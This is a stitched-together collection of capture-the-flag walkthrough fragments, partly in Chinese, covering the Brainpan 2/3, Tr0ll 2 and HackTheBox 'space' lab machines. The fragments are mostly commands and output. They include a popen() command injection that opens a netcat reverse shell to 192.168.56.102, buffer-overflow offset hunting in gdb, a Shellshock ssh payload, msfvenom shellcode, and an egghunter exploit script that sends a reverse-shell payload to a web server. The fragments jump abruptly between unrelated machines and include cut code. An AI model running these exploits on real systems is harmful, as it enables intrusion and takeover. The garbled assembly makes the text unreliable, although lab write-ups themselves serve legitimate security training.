puck@brainpan3:/home/puck$ ls -lah /etc/cron.d/ ls -lah /etc/cron.d/ ls -lah /etc/cron.d/ total 16K drwxr-xr-x 2 root root 4.0K May 20 2015 . drwxr-xr-x 90 root root 4.0K Feb 6 07:11 .. -rw-r--r-- 1 root root 102 Feb 9 2013 .placeholder -rw-r--r-- 1 root root 100 May 19 2015 msg_admin puck@brainpan3:/home/puck$ cat /etc/cron.d/msg_admin cat /etc/cron.d/msg_admin cat /etc/cron.d/msg_admin * * * * * root cd /opt/.messenger; for i in *.msg; do /usr/local/bin/msg_admin 1 $i; rm -f $i; done puck@brainpan3:/home/puck$ /usr/local/bin/msg_admin /usr/local/bin/msg_admin /usr/local/bin/msg_admin Usage: /usr/local/bin/msg_admin priority message.txt Message file format: requestername|message Eg: tony|Add a new user to repo Can have multiple messages in a single file separated by newlines. Eg: tony|Please remove /tmp/foo cate|Reset password request.
root@kali:~/vulnhub/brainpan3# file brainpan.8 brainpan.8: troff or preprocessor input, ASCII text root@kali:~/vulnhub/brainpan3# cat brainpan.8 .TH man 8 "20 May 2015""3.0""brainpan 3"
.SH DESCRIPTION Congratulations, you win! Thanks for playing!
.SH TESTERS Special thanks go to barrebas and Swappage taking the time to test Brainpan 3! .br barrebas - .B https://twitter.com/barrebas .br Swappage - .B https://twitter.com/Swappage
root@kali:~# nmap -sn -v 192.168.56.0/24 Nmap scan report for 192.168.56.116 Host is up (0.00027s latency). MAC Address: 08:00:27:6D:B8:70 (Oracle VirtualBox virtual NIC)
1 2 3 4
root@kali:~# nmap -v -sV -Pn -p- 192.168.56.116 PORT STATE SERVICE VERSION 9999/tcp open abyss? 10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
1 2 3 4 5 6 7 8 9 10 11 12 13 14
C:\Users\HASEE>nmap -v -sV -p 9999,10000 -A -T5 192.168.56.116 PORT STATE SERVICE VERSION 9999/tcp open abyss? | fingerprint-strings: | NULL: | _| _| | _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| | _|_| _| _| _| _| _| _| _| _| _| _| _| | _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _| | [______________________ WELCOME TO BRAINPAN 2.0________________________] |_ LOGIN AS GUEST 10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3) |_http-server-header: SimpleHTTP/0.6 Python/2.7.3 |_http-title: Hacking Trends
[______________________ WELCOME TO BRAINPAN 2.0________________________] LOGIN AS GUEST
>> GUEST ACCESS GRANTED
* * * * THIS APPLICATION IS WORK IN PROGRESS. GUEST ACCESS IS RESTRICTED. TYPE "TELL ME MORE" FOR A LIST OF COMMANDS. * * * *
>> TELL ME MORE FILES HELP VIEW CREATE USERS MSG SYSTEM BYE
>> FILES total 36 -rwxr-xr-x 1 root root 18424 Nov 4 2013 brainpan.exe -rw-r--r-- 1 root root 1109 Nov 5 2013 brainpan.txt -rw-r--r-- 1 root root 683 Nov 4 2013 notes.txt -rw-r--r-- 1 anansi anansi 12 Nov 5 2013 test-1 -rwxrwxrwx 1 anansi anansi 19 Nov 5 2013 test-2 >> VIEW ENTER FILE TO DOWNLOAD: notes.txt TODO LIST --------- reynard: - Completed manpage. Read with groff or man. - Renamed to brainpan.txt instead of brainpan.7. - Fixed call to read manpage: popen("man ./brainpan.txt", "r");
puck: Easiest way to display file contents is to just use popen(). Eg: popen("/bin/ls", "r"); popen("/bin/man ./brainpan.7", "r"); popen("/usr/bin/top", "r"); etc...
anansi: - Fixed a reported buffer overflow in login in version 1.0. - Discovered buffer overflow in the command prompt, fixed as of version 2.0
puck: look into loading a configuration file instead of hardcoding settings in the server, version 1.8 anansi: dropped configuration file - leave it hardcoded, version 1.9 >> VIEW ENTER FILE TO DOWNLOAD: /etc/passwd root:x:104:106:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh root :x:0:0:root:/var/root:/bin/bash list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh Debian-exim:x:101:103::/var/spool/exim4:/bin/false statd:x:102:65534::/var/lib/nfs:/bin/false sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin anansi:x:1000:1000:anansi,,,:/home/anansi:/bin/bash puck:x:1001:1001:puck,,,:/home/puck:/bin/bash reynard:x:1002:1002:reynard,,,:/home/reynard:/bin/bash
>> CREATE ENTER FILE TO CREATE: /home/anansi/lucifer11 ENTER CONTENTS: content\lucifer11testcontents FILE CREATED >> VIEW ENTER FILE TO DOWNLOAD: /home/anansi/lucifer11 content\lucifer11testcontents
AUTHENTICATION There is currently no proper authentication mechanism in place. At this time the software is in it's alpha stage. The only avaiable account is GUEST. The DEBUG account will alter the output of some commands - use\u2010 ful for developers.
The command argument is a pointer to a null-terminated string containing a shell command line. This command is passed to /bin/sh using the -c flag; interpretation, if any, is performed by the shell.
>> VIEW ENTER FILE TO DOWNLOAD: notes.txt; echo"some unexpected text lucifer11"; TODO LIST --------- reynard: - Completed manpage. Read with groff or man. - Renamed to brainpan.txt instead of brainpan.7. - Fixed call to read manpage: popen("man ./brainpan.txt", "r");
puck: Easiest way to display file contents is to just use popen(). Eg: popen("/bin/ls", "r"); popen("/bin/man ./brainpan.7", "r"); popen("/usr/bin/top", "r"); etc...
anansi: - Fixed a reported buffer overflow in login in version 1.0. - Discovered buffer overflow in the command prompt, fixed as of version 2.0
puck: look into loading a configuration file instead of hardcoding settings in the server, version 1.8 anansi: dropped configuration file - leave it hardcoded, version 1.9 some unexpected text lucifer11
>> VIEW ENTER FILE TO DOWNLOAD: notes.txt; ifconfig; TODO LIST --------- reynard: - Completed manpage. Read with groff or man. - Renamed to brainpan.txt instead of brainpan.7. - Fixed call to read manpage: popen("man ./brainpan.txt", "r");
puck: Easiest way to display file contents is to just use popen(). Eg: popen("/bin/ls", "r"); popen("/bin/man ./brainpan.7", "r"); popen("/usr/bin/top", "r"); etc...
anansi: - Fixed a reported buffer overflow in login in version 1.0. - Discovered buffer overflow in the command prompt, fixed as of version 2.0
puck: look into loading a configuration file instead of hardcoding settings in the server, version 1.8 anansi: dropped configuration file - leave it hardcoded, version 1.9 eth0 Link encap:Ethernet HWaddr 08:00:27:6d:b8:70 inet addr:192.168.56.116 Bcast:192.168.56.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:fe6d:b870/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:213 errors:0 dropped:0 overruns:0 frame:0 TX packets:152 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:20390 (19.9 KiB) TX bytes:19237 (18.7 KiB)
lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
>> VIEW ENTER FILE TO DOWNLOAD: fuck; nc -e /bin/bash 192.168.56.102 6666
监听6666端口,成功的返回了shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14
root@kali:~# nc -lvp 6666 listening on [any] 6666 ... 192.168.56.116: inverse host lookup failed: Host name lookup failure connect to [192.168.56.102] from (UNKNOWN) [192.168.56.116] 53756 id uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff) python -c 'import pty;pty.spawn("/bin/bash");' anansi@brainpan2:/opt/brainpan$ id id uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff) anansi@brainpan2:/opt/brainpan$ whoami whoami anansi anansi@brainpan2:/opt/brainpan$
提权
1 2 3 4 5 6
anansi@brainpan2:/home/reynard$ ls ls msg_root readme.txt startweb.sh web anansi@brainpan2:/home/reynard$ ./msg_root ./msg_root usage: msg_root username message
anansi@brainpan2:/home/reynard$ gdb msg_root gdb msg_root GNU gdb (GDB) 7.4.1-debian Copyright (C) 2012 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty"for details. This GDB was configured as "i486-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /home/reynard/msg_root...done.
(gdb) r aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa <aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Starting program: /home/reynard/msg_root aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Program received signal SIGSEGV, Segmentation fault. 0x61616161 in ?? () (gdb) BT BT #0 0x61616161 in ?? () #1 0x0804872e in get_name (u=0xbffffe70 'a' <repeats 108 times>, m=0xbffffedd 'a' <repeats 87 times>) at msg_root.c:26 #2 0x0804877b in main (argc=3, argv=0xbffffd54) at msg_root.c:35 (gdb)
(gdb) b *0x08048729 b *0x08048729 Breakpoint 1 at 0x8048729: file msg_root.c, line 26. (gdb) r aaaaaaa b r aaaaaaa b The program being debugged has been started already. Start it from the beginning? (y or n) y y
Starting program: /home/reynard/msg_root aaaaaaa b
Breakpoint 1, 0x08048729 in get_name (u=0xbfffff2b "aaaaaaa", m=0xbfffff33 "b") at msg_root.c:26 26 in msg_root.c (gdb) i r ebp eax i r ebp eax ebp 0xbffffd58 0xbffffd58 eax 0xbffffd46 -1073742522 (gdb) x $ebp-4 x $ebp-4 0xbffffd54: 0x0804863c (gdb) x/12xw $esp x/12xw $esp 0xbffffd38: 0xbffffd46 0x0804a008 0x00000001 0x6161fe14 0xbffffd48: 0x61616161 0xbfff0061 0x0804a008 0x0804863c 0xbffffd58: 0xbffffd68 0x0804877b 0xbfffff2b 0xbfffff33
puck@brainpan2:/home/puck$ cd .backup cd .backup puck@brainpan2:/home/puck/.backup$ ls ls puck@brainpan2:/home/puck/.backup$ ls -la ls -la total 28 drwxr-xr-x 3 puck puck 4096 Nov 5 2013 . drwx------ 4 puck puck 4096 Nov 5 2013 .. -rw------- 1 puck puck 395 Nov 5 2013 .bash_history -rw-r--r-- 1 puck puck 220 Nov 4 2013 .bash_logout -rw-r--r-- 1 puck puck 3392 Nov 4 2013 .bashrc -rw-r--r-- 1 puck puck 675 Nov 4 2013 .profile drwx------ 2 puck puck 4096 Nov 4 2013 .ssh puck@brainpan2:/home/puck/.backup$ cat .bash_history cat .bash_history cd /usr/local/bin ls -l ./msg_root "comment on the latest version please" cd /opt/brainpan/ ps aux vi brainpan-1.8.c cd ../archive netstat -antp netstat -antp | grep 9888 cd .. ls cd old ls cd brainpan-1.8 vi brainpan-1.8.c ssh -l "root " brainpan2 vi brainpan.7 man ./brainpan.7 ls htop top ls -latr cat .bash_history ls mkdir .backup mv .ssh .bash* .backup cd .backup/ ls clear ls -latr exit puck@brainpan2:/home/puck/.backup$
puck@brainpan2:/home/puck$ cat /etc/ssh/sshd_config cat /etc/ssh/sshd_config # Package generated configuration file # See the sshd_config(5) manpage for details
# What ports, IPs and protocols we listen for Port 2222 # Use these options to restrict which interfaces/protocols sshd will bind to #ListenAddress :: #ListenAddress 0.0.0.0 ListenAddress 127.0.1.1 Protocol 2 # HostKeys for protocol version 2 HostKey /etc/ssh/ssh_host_rsa_key HostKey /etc/ssh/ssh_host_dsa_key HostKey /etc/ssh/ssh_host_ecdsa_key #Privilege Separation is turned on for security UsePrivilegeSeparation yes
# Lifetime and size of ephemeral version 1 server key KeyRegenerationInterval 3600 ServerKeyBits 768
# Don't read the user's ~/.rhosts and ~/.shosts files IgnoreRhosts yes # For this to work you will also need host keys in /etc/ssh_known_hosts RhostsRSAAuthentication no # similar for protocol version 2 HostbasedAuthentication no # Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication #IgnoreUserKnownHosts yes
# To enable empty passwords, change to yes (NOT RECOMMENDED) PermitEmptyPasswords no
# Change to yes to enable challenge-response passwords (beware issues with # some PAM modules and threads) ChallengeResponseAuthentication no
# Change to no to disable tunnelled clear text passwords #PasswordAuthentication yes
# Kerberos options #KerberosAuthentication no #KerberosGetAFSToken no #KerberosOrLocalPasswd yes #KerberosTicketCleanup yes
# GSSAPI options #GSSAPIAuthentication no #GSSAPICleanupCredentials yes
X11Forwarding yes X11DisplayOffset 10 PrintMotd no PrintLastLog yes TCPKeepAlive yes #UseLogin no
#MaxStartups 10:30:60 #Banner /etc/issue.net
# Allow client to pass locale environment variables AcceptEnv LANG LC_*
Subsystem sftp /usr/lib/openssh/sftp-server
# Set this to 'yes' to enable PAM authentication, account processing, # and session processing. If this is enabled, PAM authentication will # be allowed through the ChallengeResponseAuthentication and # PasswordAuthentication. Depending on your PAM configuration, # PAM authentication via ChallengeResponseAuthentication may bypass # the setting of "PermitRootLogin without-password". # If you just want the PAM account and session checks to run without # PAM authentication, then enable this but set PasswordAuthentication # and ChallengeResponseAuthentication to 'no'. UsePAM yes
puck@brainpan2:/home/puck$ ssh -l "root " brainpan2 -p 2222 ssh -l "root " brainpan2 -p 2222 The authenticity of host '[brainpan2]:2222 ([127.0.1.1]:2222)' can't be established. ECDSA key fingerprint is 0a:15:1c:1c:25:b0:fe:54:8a:35:45:e5:b8:02:97:1a. Are you sure you want to continue connecting (yes/no)? yes yes Warning: Permanently added '[brainpan2]:2222' (ECDSA) to the list of known hosts. Linux brainpan2 3.2.0-4-686-pae #1 SMP Debian 3.2.51-1 i686 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Nov 7 11:00:06 2013 root @brainpan2:~# id id uid=0(root ) gid=0(root ) groups=0(root ) root @brainpan2:~# whoami whoami root root @brainpan2:~# cd /root cd /root root @brainpan2:/root# ls ls flag.txt whatif.txt root @brainpan2:/root# cat flag.txt cat flag.txt !!! CONGRATULATIONS !!! You've completed the Brainpan 2 challenge! Or have you...?
Yes, you have! Pat yourself on the back. :-)
Questions, comments, suggestions for new VM challenges? Let me know!
Twitter: @superkojiman Email : contact@techorganic.com Web : http://www.techorganic.com
root @brainpan2:/root#
知识点总结
popen()执行多个命令获取shell
gdb调试寻找缓冲区溢出的地址
msfvenom生成shellcode配合ebp-8的地址0x0804a008进行缓冲区溢出提权
更换成ssh备份的私匙,连接具有root权限的ssh
.bash_history中的ssh连接历史中ssh密码泄露
Game over
不好意思,这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本,i am so sorry about this…It’s a pity…
print("[*] Sending payload 16 times") for i in range(16): p = remote(target, port) #print(spray_payload) p.sendline(spray_payload) p.recv() p.close() sleep(0.1)
shl = (# Prepends a string of 3mg33mg3 ("3mg3" * 2) + # Insert msfvenom revshell payload RevShell )
egh = (# EggHunter Shellcode "6681CAFF0F42526A"# 32 byte EggHunter, with egg of '3mg3' "0258CD2E3C055A74"# This will scan through mem address space "EFB8336D67338BFA"# and try to match the string "3mg33mg3", "AF75EAAF75E7FFE7"# then execute the shellcode that follows it. )
buf = (# Place the EggHunter at the start of the buffer. egh + # EIP Overwrite Buffer ("A" * ((72) - len(egh))) + # 64552F19 JMP EAX # From Module Name=C:\MinGW\bin\libmingwex-0.dll "192F5564" )
sploit = (urlpath + buf)
print("[+] Sending evil HTTP request to BigHeadWebSvr 1.0")
try: # Prepare POST content body so it won't URL Encode the shellcode data. s = Session() payload={'5h377':shl} r = Request('POST', urlpath, data=payload, headers=hdrs) prepped = r.prepare() prepped.body = shl del prepped.headers['Content-Type'] # Send The Egg RevShell Payload as a POST Request data resp = s.send(prepped, proxies=proxy, timeout=0.01) print(resp.status_code) except: print("[+] Shell Payload Sent...")
try: # Send the HEAD METHOD BOF Exploit r = requests.head(sploit, headers=hdrs, timeout=0.01, proxies=proxy) except: print("[+] Exploit Sent!")
try: # Start a netcat listener and wait for the incoming connection print("[+] Listening for reverse shell") ncl = subprocess.Popen(lstner, shell=True) ncl.poll() ncl.wait() except: print("\r[!] Shell Terminated!") exit(0)
┌──(root💀kali)-[~] └─# nc -lvp 1337 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::1337 Ncat: Listening on 0.0.0.0:1337 Ncat: Connection from 10.10.10.112. Ncat: Connection from 10.10.10.112:49220. Microsoft Windows [Version 6.0.6002] Copyright (c) 2006 Microsoft Corporation. All rights reserved.
┌──(root💀kali)-[~/hackthebox/challenge/pwn/space] └─# file space space: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=90e5767272e16e26e1980cb78be61437b3d63e12, not stripped ┌──(root💀kali)-[~/hackthebox/challenge/pwn/space] └─# checksec space [*] '/root/hackthebox/challenge/pwn/space/space' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
2. Debug binary with buffer overflow string as input:
3. Check the EIP offset:
4. Control EIP with custom bytes:
5. Check the space for the custom payload:
There is 18B + 9B space split by 4 Bytes for the EIP register.
So payload could look like great post https://www.abatchy.com/2017/05/jumping-to-shellcode.html:
EAX stores (18B + 4B + 9B) data provided as input during overflow.
Without the “mov esp, eax” step, second_stage_shellcode would break the execution flow, because pushed “0x6e69622f” would be treated as data to execute, while it should be stored for further executed syscall and treated as an argument for execve() stored in EBX register. https://security.stackexchange.com/questions/98311/problems-executing-shellcode-via-nop-sled
Then set up EAX and ECX registers to 0. A short jump to the first 18B on the stack. Great article which explains, why we jump 0xe2 — available https://thestarman.pcministry.com/asm/2bytejumps.htm
Secondly, we just set up arguments for the execve(). (Check this article, if you don’t know CDQ instruction)
root@kali:~# nmap -sn -v 192.168.66.* Nmap scan report for 192.168.66.16 Host is up (0.00030s latency). MAC Address: 00:0C:29:F7:66:43 (VMware)
1 2 3 4 5 6
root@kali:~# nmap -sV -v -p- 192.168.66.16 PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.0.8 or later 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) MAC Address: 00:0C:29:F7:66:43 (VMware)
root@kali:~/vulnhub/troll2# strings dont_bother.jpg
JFIF
#3-652-108?QE8<M=01F`GMTV[\[7DcjcXjQY[W
)W:1:WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
...
Look Deep within y0ur_self for the answer
root@kali:~/vulnhub/troll2# ssh -i noob noob@192.168.66.16
The authenticity of host '192.168.66.16 (192.168.66.16)' can't be established.
ECDSA key fingerprint is SHA256:I3xuSgcBlIsoldKTkOyVYwx8B4NLGl0fDDTi0H6ExYg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.66.16' (ECDSA) to the list of known hosts.
TRY HARDER LOL!
Connection to 192.168.66.16 closed.
cd /
ls
bin
boot
dev
etc
home
initrd.img
lib
lost+found
media
mnt
nothing_to_see_here
opt
proc
root
run
sbin
selinux
srv
sys
tmp
usr
var
vmlinuz
cd nothing_to_see_here
ls
choose_wisely
cd choose_wisely
ls
door1
door2
door3
ls -al *
door1:
total 16
drwsr-xr-x 2 root root 4096 Oct 4 2014 .
drwsr-xr-x 5 root root 4096 Oct 4 2014 ..
-rwsr-xr-x 1 root root 7271 Oct 4 2014 r00t
door2:
total 16
drwsr-xr-x 2 root root 4096 Oct 5 2014 .
drwsr-xr-x 5 root root 4096 Oct 4 2014 ..
-rwsr-xr-x 1 root root 7273 Oct 5 2014 r00t
door3:
total 20
drwsr-xr-x 2 root root 4096 Oct 5 2014 .
drwsr-xr-x 5 root root 4096 Oct 4 2014 ..
-rwsr-xr-x 1 root root 8401 Oct 5 2014 r00t
现在发现有设置SUID位的r00t二进制文件。认为必须利用这些二进制文件。
root@kali:~/vulnhub/troll2# ssh -i noob noob@192.168.66.16 '() { :;}; /bin/bash'
cd /nothing_to_see_here/choose_wisely/door1
./r00t $(python -c 'print "A" * 1000')
Good job, stand by, executing root shell...
BUHAHAHA NOOB!
Good job, stand by, executing root shell...
BUHAHAHA NOOB!
cd /nothing_to_see_here/choose_wisely/door2
./r00t $(python -c 'print "A" * 1000')
2 MINUTE HARD MODE LOL
cd /nothing_to_see_here/choose_wisely/door3
./r00t $(python -c 'print "A" * 1000')Connection to 192.168.66.16 closed by remote host.
cd /nothing_to_see_here/choose_wisely/door3
ls -la
total 20
drwsr-xr-x 2 root root 4096 Oct 5 2014 .
drwsr-xr-x 5 root root 4096 Oct 4 2014 ..
-rwsr-xr-x 1 root root 8401 Oct 5 2014 r00t
gdb -q ./r00t
Reading symbols from /nothing_to_see_here/choose_wisely/door3/r00t...done.
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
Starting program: /nothing_to_see_here/choose_wisely/door3/r00t Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
Program received signal SIGSEGV, Segmentation fault.
0x6a413969 in ?? ()
(gdb) i r esp
esp 0xbffffab0 0xbffffab0
(gdb)
将模式转换为十进制缓冲区大小
root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x6a413969
[*] Exact match at offset 268
使用msfvenom创建/bin/sh的payload并转义空字节
root@kali:~/vulnhub/troll2# msfvenom --platform linux -p linux/x86/exec -f python CMD="/bin/sh" -b '\x00\x0a\x0d' -a x86
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 70 (iteration=0)
x86/shikata_ga_nai chosen with final size 70
Payload size: 70 bytes
Final size of python file: 357 bytes
buf = b""
buf += b"\xba\x44\x81\xb3\x61\xdb\xd6\xd9\x74\x24\xf4\x5e\x2b"
buf += b"\xc9\xb1\x0b\x83\xee\xfc\x31\x56\x11\x03\x56\x11\xe2"
buf += b"\xb1\xeb\xb8\x39\xa0\xbe\xd8\xd1\xff\x5d\xac\xc5\x97"
buf += b"\x8e\xdd\x61\x67\xb9\x0e\x10\x0e\x57\xd8\x37\x82\x4f"
buf += b"\xd2\xb7\x22\x90\xcc\xd5\x4b\xfe\x3d\x69\xe3\xfe\x16"
buf += b"\xde\x7a\x1f\x55\x60"